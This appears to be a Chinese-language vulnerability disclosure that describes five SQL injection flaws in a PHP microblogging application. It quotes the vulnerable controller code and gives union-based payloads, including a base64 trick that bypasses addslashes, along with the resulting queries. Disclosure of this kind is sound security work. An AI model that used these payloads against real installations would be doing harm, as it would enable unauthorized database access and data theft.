简要描述:

过滤不严。

详细说明:

注入1:
在topicaction.class.php中

public function topic() {
$keyword=$this->_get('keyword','urldecode');//无过滤 且解码
if ($keyword) {
$topic = D('Topic')->where("topicname='$keyword'")->find();
if ($topic) {
$isfollow=D('Mytopic')->isfollow($topic['id'],$this->my['user_id']);
$topicusers=D('MytopicView')->where("topicid='$topic[id]'")->order('id desc')->limit(9)->select();
//getwidget
$widget=M('Topicwidget')->where("topicid='$topic[id]'")->order('`order` ASC')->select();
if ($widget) {
foreach ($widget as $val) {
$topicwidget[$val['widgettype']][]=$val;
}
}
$this->assign('topicwidget',$topicwidget);
} else {
$count=$isfollow=0;
}


$topic = D('Topic')->where("topicname='$keyword'")->find();
这里 带入查询。
where topicname='keyword';
SELECT * FROM `et_topic` WHERE topicname='aaa' LIMIT 1
构造一下 aaa' and 1=2 union select 1,2,3,user(),5 %23
完美注入。

注入2:
在settingaction.class.php 中

public function doauth() {
$_authmsg=daddslashes($_GET['auth']);
$authmsg=base64_decode($_authmsg);
$tem=explode(":",$authmsg);
$send_id=$tem[0];
$user=M('Users');
$row = $user->field('mailadres,auth_email')->where("user_id='$send_id'")->find();
if ($_authmsg==$row['auth_email']) {
$user->where("user_id='$send_id'")->setField('auth_email',1);
setcookie('setok', json_encode(array('lang'=>L('mail6'),'ico'=>1)),0,'/');
} else {
setcookie('setok', json_encode(array('lang'=>L('mail7'),'ico'=>2)),0,'/');
}
header('location:'.SITE_URL.'/?m=setting&a=mailauth');
}


$_authmsg 虽然用addslashes 进行处理后 但是 后面解码。
所以 无视过滤。
然后切割成数组 数组的第一个 带入查询。
$row = $user->field('mailadres,auth_email')->where("user_id='$send_id'")->find();
where user_id = '$send_id'
完美注入。 无视Gpc
首先编码一下 然后注入
SELECT `mailadres`,`auth_email` FROM `et_users` WHERE user_id='yu' union select user(),2#' LIMIT 1

完美注入。
注入3:
在messageaction.class.php中。

public function show() {
$uid=$_GET['uid'];
$mes=M('Messages');
$count = $mes->where("(senduid='".$this->my['user_id']."' AND sendtouid='$uid') OR (senduid='$uid' AND sendtouid='".$this->my['user_id']."')")->count();
$p= new Page($count,20);
$page = $p->show('message/show/uid/'.$uid.'/p/',1,'action-for="stream"');
$data = D('MessagesView')->where("(senduid='".$this->my['user_id']."' AND sendtouid='$uid') OR (senduid='$uid' AND sendtouid='".$this->my['user_id']."')")->order("message_id DESC")->limit($p->firstRow.','.$p->listRows)->select();


$uid 无过滤 直接带入了查询。
$count = $mes->where("(senduid='".$this->my['user_id']."' AND sendtouid='$uid') OR (senduid='$uid' AND sendtouid='".$this->my['user_id']."')")->count();
SELECT COUNT(*) AS tp_count FROM `et_messages` WHERE (senduid='2' AND sendtouid='aaaa' AND sendtouid='2') LIMIT 1
执行的sql 构造一下语句。

有图有真相。
注入4:
在photoaction.class.php中

public function show() {
$cid=$_GET['cid'];

$content=D('ContentView')->where("content_id='$cid' AND FIND_IN_SET('p',filetype)")->find();
if (!$content) {
$this->display('nophoto');
exit;
}

$cModel=M('Content');
$count=$cModel->where("user_id='$content[user_id]' AND FIND_IN_SET('p',filetype)")->count();


$cid 无过滤 且直接带入了
where("content_id='$cid' AND FIND_IN_SET('p',filetype)")->find();
content_id=$cid
SELECT Content.content_id AS content_id,Content.content_body AS content_body,Content.posttime AS posttime,Content.type AS type,Content.filetype AS filetype,Content.retid AS retid,Content.replyid AS replyid,Content.replytimes AS replytimes,Content.zftimes AS zftimes,Content.pinbi AS pinbi,Content.zhiding AS zhiding,Content.praisetimes AS praisetimes,Plugins.name AS appname,Plugins.directory AS directory,Plugins.available AS available,Plugins.type AS apptype,Users.user_id AS user_id,Users.user_name AS user_name,Users.nickname AS nickname,Users.user_head AS user_head,Users.user_auth AS user_auth,Users.provinceid AS provinceid,Users.cityid AS cityid FROM et_content Content ignore index(replyid) LEFT JOIN et_plugins Plugins ON Content.type=Plugins.directory LEFT JOIN et_users Users ON Content.user_id=Users.user_id WHERE content_id='aaa' AND FIND_IN_SET('p',filetype) LIMIT 1
这个是执行的语句 来构造一下语句。

注入成功 有图有真相。
注入5:
在appaction.class.php中

public function applist() {
parent::tologin();
import("@.ORG.Page");
C('PAGE_NUMBERS',10);
$pvmodel=D('PluginsView');
$keyword=trim(htmlspecialchars($_REQUEST['keyword']));
if (!$keyword) {
$count=M('Plugins')->where("available=1 AND (type='app' || type='api')")->count();
$p= new Page($count,20);
$page = $p->show("?m=app&a=applist&p=");
$app=$pvmodel->where("available=1 AND (type='app' || type='api')")->order("installs DESC")->limit($p->firstRow.','.$p->listRows)->select();
} else {
$count=$pvmodel->where("name LIKE '%$keyword%' AND available=1 AND (type='app' || type='api')")->count();
$p= new Page($count,20);
$page = $p->show("?m=app&a=applist&keyword=$keyword&p=");
$app=$pvmodel->where("name LIKE '%$keyword%' AND available=1 AND (type='app' || type='api')")->order("installs DESC")->limit($p->firstRow.','.$p->listRows)->select();


$KEYWORD为 request 获取的 然后html实体 但是对注入的影响不大。
如果keyword 为true的话就带入
$count=$pvmodel->where("name LIKE '%$keyword%' AND available=1 AND (type='app' || type='api')")->count();
SELECT COUNT(*) AS tp_count FROM et_plugins Plugins LEFT JOIN et_users Users ON Plugins.appauthor=Users.user_id WHERE name LIKE '%yu%' AND available=1 AND (type='app' || type='api') LIMIT 1
所执行的语句 构造一下
